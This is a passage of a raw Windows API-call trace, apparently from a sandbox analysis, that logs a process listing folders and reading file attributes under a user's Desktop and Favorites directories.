ftCreationTime.dwLowDateTime=0xe4ad2f40, ftCreationTime.dwHighDateTime=0x1d30038, ftLastAccessTime.dwLowDateTime=0xf4189df0, ftLastAccessTime.dwHighDateTime=0x1d302b0, ftLastWriteTime.dwLowDateTime=0xf4189df0, ftLastWriteTime.dwHighDateTime=0x1d302b0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0075.383] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfebb8) returned 1 [0075.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0075.383] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\N DTF4xE4-dKUqMoR", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop\\N DTF4xE4-dKUqMoR", lpFilePart=0x0) returned 0x2b [0075.383] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\N DTF4xE4-dKUqMoR\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x6fe9318 [0075.383] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0075.383] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0075.383] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0075.383] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 0 [0075.383] FindClose (in: hFindFile=0x6fe9318 | out: hFindFile=0x6fe9318) returned 1 [0075.383] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0075.383] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0075.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0075.384] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\N DTF4xE4-dKUqMoR", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop\\N DTF4xE4-dKUqMoR", lpFilePart=0x0) returned 0x2b [0075.384] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\N DTF4xE4-dKUqMoR\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x6fe9318 [0075.384] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0075.384] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0075.384] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0075.384] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 0 [0075.384] FindClose (in: hFindFile=0x6fe9318 | out: hFindFile=0x6fe9318) returned 1 [0075.384] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0075.384] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0075.384] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\_KMnL2J", nBufferLength=0x105, lpBuffer=0x6cfe778, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop\\_KMnL2J", lpFilePart=0x0) returned 0x21 [0075.384] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebbc) returned 1 [0075.384] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\_KMnL2J" (normalized: "c:\\users\\kft6utqw\\desktop\\_kmnl2j"), fInfoLevelId=0x0, lpFileInformation=0x6cfec38 | out: lpFileInformation=0x6cfec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62b1db90, ftCreationTime.dwHighDateTime=0x1d3047e, ftLastAccessTime.dwLowDateTime=0x283ae370, ftLastAccessTime.dwHighDateTime=0x1d2fcaf, ftLastWriteTime.dwLowDateTime=0x283ae370, ftLastWriteTime.dwHighDateTime=0x1d2fcaf, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0075.384] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfebb8) returned 1 [0075.384] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0075.384] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\_KMnL2J", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop\\_KMnL2J", lpFilePart=0x0) returned 0x21 [0075.384] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\_KMnL2J\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x6fe9318 [0075.384] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0075.384] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0075.385] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0075.385] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0075.385] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0075.385] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0075.385] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0075.385] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 0 [0075.385] FindClose (in: hFindFile=0x6fe9318 | out: hFindFile=0x6fe9318) returned 1 [0075.385] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0075.385] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0075.385] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0075.385] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\_KMnL2J", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop\\_KMnL2J", lpFilePart=0x0) returned 0x21 [0075.385] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\_KMnL2J\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x6fe9318 [0075.385] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0075.385] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0075.385] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0075.385] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0075.385] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0075.385] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0075.385] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0075.385] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 0 [0075.385] FindClose (in: hFindFile=0x6fe9318 | out: hFindFile=0x6fe9318) returned 1 [0075.386] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0075.386] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0075.386] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfecbc) returned 1 [0075.386] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop", nBufferLength=0x105, lpBuffer=0x6cfe7d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop", lpFilePart=0x0) returned 0x19 [0075.386] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop\\*", lpFindFileData=0x6cfe9e4 | out: lpFindFileData=0x6cfe9e4) returned 0x6fe9318 [0075.386] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.386] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.386] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.386] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.386] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.386] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.386] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.386] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.386] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.386] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.386] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.386] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.386] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.386] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.386] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.386] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.386] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.387] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.387] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.387] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.387] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.387] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.387] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.387] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.387] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.387] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.387] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.387] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.387] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.387] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.387] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.387] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.387] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.387] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0075.387] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 0 [0075.387] FindClose (in: hFindFile=0x6fe9318 | out: hFindFile=0x6fe9318) returned 1 [0075.387] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec7c) returned 1 [0075.387] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec88) returned 1 [0076.129] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0076.328] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\Desktop\\~$DEV2~1.DOC", lpszLongPath=0x6cfe874, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\Desktop\\~$DEV2~1.DOC") returned 0x26 [0076.342] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Favorites", nBufferLength=0x105, lpBuffer=0x6cfe860, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Favorites", lpFilePart=0x0) returned 0x1b [0076.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfecb0) returned 1 [0076.342] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Favorites" (normalized: "c:\\users\\kft6utqw\\favorites"), fInfoLevelId=0x0, lpFileInformation=0x6cfed2c | out: lpFileInformation=0x6cfed2c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa8031530, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xac669e30, ftLastWriteTime.dwHighDateTime=0x1d2e631, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0076.342] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfecac) returned 1 [0076.342] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Favorites", nBufferLength=0x105, lpBuffer=0x6cfe860, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Favorites", lpFilePart=0x0) returned 0x1b [0076.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeca4) returned 1 [0076.342] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Favorites" (normalized: "c:\\users\\kft6utqw\\favorites"), fInfoLevelId=0x0, lpFileInformation=0x6cfed20 | out: lpFileInformation=0x6cfed20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa8031530, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xac669e30, ftLastWriteTime.dwHighDateTime=0x1d2e631, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0076.342] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeca0) returned 1 [0076.342] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Favorites", nBufferLength=0x105, lpBuffer=0x6cfe7ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Favorites", lpFilePart=0x0) returned 0x1b [0076.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec30) returned 1 [0076.342] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Favorites" (normalized: "c:\\users\\kft6utqw\\favorites"), fInfoLevelId=0x0, lpFileInformation=0x6cfecac | out: lpFileInformation=0x6cfecac*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa8031530, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xac669e30, ftLastWriteTime.dwHighDateTime=0x1d2e631, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0076.342] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec2c) returned 1 [0076.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfecbc) returned 1 [0076.342] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Favorites", nBufferLength=0x105, lpBuffer=0x6cfe7d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Favorites", lpFilePart=0x0) returned 0x1b [0076.343] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Favorites\\*", lpFindFileData=0x6cfe9e4 | out: lpFindFileData=0x6cfe9e4) returned 0x6fe9818 [0076.343] FindNextFileW (in: hFindFile=0x6fe9818, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0076.343] FindNextFileW (in: hFindFile=0x6fe9818, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0076.343] FindNextFileW (in: hFindFile=0x6fe9818, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0076.343] FindNextFileW (in: hFindFile=0x6fe9818, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0076.343] FindNextFileW (in: hFindFile=0x6fe9818, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0076.343] FindNextFileW (in: hFindFile=0x6fe9818, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0076.343] FindNextFileW (in: hFindFile=0x6fe9818, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 0 [0076.344] FindClose (in: hFindFile=0x6fe9818 | out: hFindFile=0x6fe9818) returned 1 [0076.344] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec7c) returned 1 [0076.344] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec88) returned 1 [0076.344] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Favorites\\Links", nBufferLength=0x105, lpBuffer=0x6cfe778, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Favorites\\Links", lpFilePart=0x0) returned 0x21 [0076.344] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebbc) returned 1 [0076.344] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Favorites\\Links" (normalized: "c:\\users\\kft6utqw\\favorites\\links"), fInfoLevelId=0x0, lpFileInformation=0x6cfec38 | out: lpFileInformation=0x6cfec38*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xbade5ff0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xc1fd7690, ftLastWriteTime.dwHighDateTime=0x1d2faa1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0076.344] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfebb8) returned 1 [0076.344] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0076.344] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Favorites\\Links", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Favorites\\Links", lpFilePart=0x0) returned 0x21 [0076.353] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Favorites\\Links\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x6fe9518 [0076.353] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.354] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.354] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.354] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.354] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 0 [0076.354] FindClose (in: hFindFile=0x6fe9518 | out: hFindFile=0x6fe9518) returned 1 [0076.354] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0076.354] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0076.354] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0076.354] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Favorites\\Links", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Favorites\\Links", lpFilePart=0x0) returned 0x21 [0076.354] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Favorites\\Links\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x6fe9518 [0076.355] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.355] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.355] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.355] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.355] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 0 [0076.355] FindClose (in: hFindFile=0x6fe9518 | out: hFindFile=0x6fe9518) returned 1 [0076.355] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0076.355] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0076.355] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Favorites\\Microsoft Websites", nBufferLength=0x105, lpBuffer=0x6cfe778, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Favorites\\Microsoft Websites", lpFilePart=0x0) returned 0x2e [0076.355] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebbc) returned 1 [0076.355] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Favorites\\Microsoft Websites" (normalized: "c:\\users\\kft6utqw\\favorites\\microsoft websites"), fInfoLevelId=0x0, lpFileInformation=0x6cfec38 | out: lpFileInformation=0x6cfec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa800b3d0, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0076.355] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfebb8) returned 1 [0076.355] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0076.356] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Favorites\\Microsoft Websites", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Favorites\\Microsoft Websites", lpFilePart=0x0) returned 0x2e [0076.356] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Favorites\\Microsoft Websites\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x6fe9518 [0076.368] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.369] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.369] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.369] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.369] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.369] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.369] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 0 [0076.369] FindClose (in: hFindFile=0x6fe9518 | out: hFindFile=0x6fe9518) returned 1 [0076.370] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0076.370] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0076.370] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0076.370] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Favorites\\Microsoft Websites", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Favorites\\Microsoft Websites", lpFilePart=0x0) returned 0x2e [0076.370] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\Favorites\\Microsoft Websites\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x6fe9518 [0076.370] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.370] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.371] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.371] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.371] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.371] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0076.371] FindNextFileW (in: hFindFile=0x6fe9518, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 0 [0076.371] FindClose (in: hFindFile=0x6fe9518 | out: hFindFile=0x6fe9518) returned 1 [0076.371] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0076.371] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0076.372] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Favorites\\MSN Websites", nBufferLength=0x105, lpBuffer=0x6cfe778, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Favorites\\MSN Websites", lpFilePart=0x0) returned 0x28 